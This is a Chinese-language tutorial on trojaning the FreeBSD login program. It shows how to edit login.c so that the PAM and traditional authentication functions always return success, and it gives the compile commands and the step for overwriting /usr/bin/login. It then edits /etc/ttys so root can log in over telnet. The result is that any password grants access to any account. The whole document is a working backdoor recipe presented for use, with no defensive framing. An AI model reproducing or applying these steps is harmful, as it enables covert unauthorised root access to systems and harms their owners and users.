环境:
FreeBSD-4.5 Release 下测试成功
简介:
当我们通过console、telnet、rlogin…..登录FreeBSD系统时,系统会调用/usr/bin/login来处理用户的登录,处理用户输入的用户名和口令是否正确。在FreeBSD的/usr/src/usr.bin/login/下有login的源代码(如果系统没安装souce code可以从ftp.freebsd.org上下载),我们对它略加修改,可以给FreeBSD留个一个后门。当你通过console、telnet或rlogin.....登录的时侯口令随便输就能通过系统的认证。
过程:
在login.c里有两种口令认证方式PAM和Traditional,分别由auth_pam()和auth_traditional()函数来处理,具体流程我就不说了,大家只要看一下auth_pam()的功能说明就能明白了:
/*
* Attempt to authenticate the user using PAM. Returns 0 if the user is
* authenticated, or 1 if not authenticated. If some sort of PAM system
* error occurs (e.g., the "/etc/pam.conf" file is missing) then this
* function returns -1. This can be used as an indication that we should
* fall back to a different authentication mechanism.
*/
最简单的修改是在auth_pam()里将return rval 替换成 return 0即可。auth_traditional()也是如法炮制!
在/usr/src/usr.bin/login/下执行:
# cc -O -pipe -Wall -DLOGIN_ACCESS -DLOGALL -DUSE_PAM -c login.c
# cc -O -pipe -Wall -DLOGIN_ACCESS -DLOGALL -DUSE_PAM -c login_access.c
# cc -O -pipe -Wall -DLOGIN_ACCESS -DLOGALL -DUSE_PAM -c login_fbtab.c
# cc -O -pipe -Wall -DLOGIN_ACCESS -DLOGALL -DUSE_PAM -o login login.o login_access.o login_fbtab.o -lutil -lcrypt -lpam
# gzip -cn /usr/src/usr.bin/login/login.1 > login.1.gz
# gzip -cn /usr/src/usr.bin/login/login.access.5 > login.access.5.gz
在/usr/src/usr.bin/login下你会看到新的login。以上命令和在/usr/src/usr.bin/login下执行make等效,只是运行make我找不到编译出来的login放在哪。剩下的工作就是将login拷贝到/usr/bin下覆盖旧的login。不要在console上做这一步,因为当你登陆console的时侯后台有一个相应的login –p xxxx –f …在执行,覆盖/usr/bin/login会失败!应该通过ssh 或telnet或rlogin登录到FreeBSD系统,确定后台无login进程,执行# cp /usr/src/usr.bin/login/login /usr/bin 或 # make install
测试:
通过console、telnet或rlogin登录系统,输入帐号,口令随便输。需要注意的是FreeBSD缺省是禁止root远程telnet的,修改/etc/ttys文件,将# Pseudo terminals一栏下修改成:
ttyp0 none network off secure
ttyp1 none network off secure
ttyp2 none network off secure
……………………..
这样root就能远程telnet了!